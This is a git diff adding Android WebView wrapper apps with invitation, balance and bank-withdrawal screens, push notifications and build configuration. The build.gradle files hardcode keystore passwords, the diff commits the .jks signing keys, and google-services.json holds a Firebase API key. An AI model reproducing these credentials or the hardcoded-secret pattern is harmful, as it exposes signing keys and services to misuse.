b/megakaya77/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/megakaya77/src/main/res/drawable/input_bg.xml b/megakaya77/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/megakaya77/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/megakaya77/src/main/res/drawable/pass_word_bg.xml b/megakaya77/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/megakaya77/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/megakaya77/src/main/res/drawable/pass_word_bg1.xml b/megakaya77/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/megakaya77/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/drawable/pass_word_bg2.xml b/megakaya77/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/megakaya77/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/drawable/shape_btn_bg.xml b/megakaya77/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/megakaya77/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/drawable/shape_dialog_bg2.xml b/megakaya77/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/megakaya77/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/drawable/shape_dialog_bg3.xml b/megakaya77/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/megakaya77/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/drawable/shape_dialog_bg_new.xml b/megakaya77/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/megakaya77/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/megakaya77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/megakaya77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/megakaya77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/megakaya77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/mipmap-hdpi/ic_empty.png b/megakaya77/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/megakaya77/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/megakaya77/src/main/res/mipmap-hdpi/ic_pull_down.png b/megakaya77/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/megakaya77/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/megakaya77/src/main/res/mipmap-xhdpi/ic_close.png b/megakaya77/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/megakaya77/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/megakaya77/src/main/res/mipmap-xhdpi/ic_menu.png b/megakaya77/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/megakaya77/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/megakaya77/src/main/res/mipmap-xxhdpi/app_logo.png b/megakaya77/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..82ade40 Binary files /dev/null and b/megakaya77/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/megakaya77/src/main/res/mipmap-xxhdpi/logo.jpg b/megakaya77/src/main/res/mipmap-xxhdpi/logo.jpg new file mode 100644 index 0000000..61244b8 Binary files /dev/null and b/megakaya77/src/main/res/mipmap-xxhdpi/logo.jpg differ diff --git a/megakaya77/src/main/res/values-en/strings.xml b/megakaya77/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/megakaya77/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/megakaya77/src/main/res/values-night/themes.xml b/megakaya77/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/megakaya77/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/values/colors.xml b/megakaya77/src/main/res/values/colors.xml new file mode 100644 index 0000000..2c66f3d --- /dev/null +++ b/megakaya77/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #150606 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/megakaya77/src/main/res/values/strings.xml b/megakaya77/src/main/res/values/strings.xml new file mode 100644 index 0000000..a9dfb13 --- /dev/null +++ b/megakaya77/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + MegaKaya77 Premier + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/values/themes.xml b/megakaya77/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/megakaya77/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/xml/app_updater_paths.xml b/megakaya77/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/megakaya77/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/xml/network_security_config.xml b/megakaya77/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/megakaya77/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/megakaya77/src/main/res/xml/provider_paths.xml b/megakaya77/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/megakaya77/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/megakaya77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/megakaya77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/megakaya77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/mgi/src/main/AndroidManifest.xml b/mgi/src/main/AndroidManifest.xml index bf8313d..5f2598d 100644 --- a/mgi/src/main/AndroidManifest.xml +++ b/mgi/src/main/AndroidManifest.xml @@ -51,10 +51,10 @@ android:name=".WebApplication" android:allowBackup="true" android:hardwareAccelerated="true" - android:icon="@mipmap/app_logo" + android:icon="@mipmap/app_logo1" android:label="@string/app_name" android:networkSecurityConfig="@xml/network_security_config" - android:roundIcon="@mipmap/app_logo" + android:roundIcon="@mipmap/app_logo1" android:supportsRtl="true" android:theme="@style/Theme.AppTheme" android:usesCleartextTraffic="true"> diff --git a/mgi/src/main/java/com/web/mginew/MainActivity2.java b/mgi/src/main/java/com/web/mginew/MainActivity2.java index 40f13be..21c1183 100644 --- a/mgi/src/main/java/com/web/mginew/MainActivity2.java +++ b/mgi/src/main/java/com/web/mginew/MainActivity2.java @@ -37,6 +37,7 @@ public class MainActivity2 extends com.web.base.MainActivity2 { } }); + setImageView(false); } public int getVersion(){ diff --git a/mgi/src/main/res/mipmap-xxhdpi/app_logo.png b/mgi/src/main/res/mipmap-xxhdpi/app_logo.png index a74496d..95d9372 100644 Binary files a/mgi/src/main/res/mipmap-xxhdpi/app_logo.png and b/mgi/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/mgi/src/main/res/mipmap-xxhdpi/app_logo1.png b/mgi/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..62eae0f Binary files /dev/null and b/mgi/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/millionkking/.gitignore b/millionkking/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/millionkking/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/millionkking/build.gradle b/millionkking/build.gradle new file mode 100644 index 0000000..5c760ed --- /dev/null +++ b/millionkking/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.millionkking" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "millionkking" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/millionkking/google-services.json b/millionkking/google-services.json new file mode 100644 index 0000000..99969c4 --- /dev/null +++ b/millionkking/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1027541548208", + "project_id": "millionking38", + "storage_bucket": "millionking38.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1027541548208:android:874c3664a1fb3ef2b30f75", + "android_client_info": { + "package_name": "com.xyz.millionkking" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDGQMrKj6DWT84xt6EOzopChuvNPENFeXs" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/millionkking/justlet.jks b/millionkking/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/millionkking/justlet.jks differ diff --git a/millionkking/ppn.jks b/millionkking/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/millionkking/ppn.jks differ diff --git a/millionkking/proguard-rules.pro b/millionkking/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/millionkking/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/millionkking/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/millionkking/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/millionkking/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/millionkking/src/main/AndroidManifest.xml b/millionkking/src/main/AndroidManifest.xml new file mode 100644 index 0000000..8245364 --- /dev/null +++ b/millionkking/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/millionkking/src/main/java/com/xyz/millionkking/MainActivity.java b/millionkking/src/main/java/com/xyz/millionkking/MainActivity.java new file mode 100644 index 0000000..cf20015 --- /dev/null +++ b/millionkking/src/main/java/com/xyz/millionkking/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.millionkking; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 38; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://Millionking96.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#137d0a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#d0ebbe"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/millionkking/src/main/java/com/xyz/millionkking/MyFirebaseMessageingService.java b/millionkking/src/main/java/com/xyz/millionkking/MyFirebaseMessageingService.java new file mode 100644 index 0000000..abd7f7e --- /dev/null +++ b/millionkking/src/main/java/com/xyz/millionkking/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.millionkking; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/millionkking/src/main/java/com/xyz/millionkking/WebApplication.java b/millionkking/src/main/java/com/xyz/millionkking/WebApplication.java new file mode 100644 index 0000000..839e326 --- /dev/null +++ b/millionkking/src/main/java/com/xyz/millionkking/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.millionkking; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/millionkking/src/main/res/drawable-anydpi/ic_action_back.xml b/millionkking/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/millionkking/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/millionkking/src/main/res/drawable-hdpi/ic_action_back.png b/millionkking/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/millionkking/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/millionkking/src/main/res/drawable-mdpi/ic_action_back.png b/millionkking/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/millionkking/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/millionkking/src/main/res/drawable-v24/ic_launcher_foreground.xml b/millionkking/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/millionkking/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/drawable-xhdpi/ic_action_back.png b/millionkking/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/millionkking/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/millionkking/src/main/res/drawable-xxhdpi/ic_action_back.png b/millionkking/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/millionkking/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/millionkking/src/main/res/drawable/big_bg.xml b/millionkking/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..06d8bd3 --- /dev/null +++ b/millionkking/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/drawable/ic_launcher_background.xml b/millionkking/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/millionkking/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/millionkking/src/main/res/drawable/input_bg.xml b/millionkking/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/millionkking/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/millionkking/src/main/res/drawable/pass_word_bg.xml b/millionkking/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/millionkking/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/millionkking/src/main/res/drawable/pass_word_bg1.xml b/millionkking/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/millionkking/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/drawable/pass_word_bg2.xml b/millionkking/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/millionkking/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/drawable/shape_btn_bg.xml b/millionkking/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/millionkking/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/drawable/shape_dialog_bg2.xml b/millionkking/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/millionkking/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/drawable/shape_dialog_bg3.xml b/millionkking/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/millionkking/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/drawable/shape_dialog_bg_new.xml b/millionkking/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/millionkking/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/millionkking/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/millionkking/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml 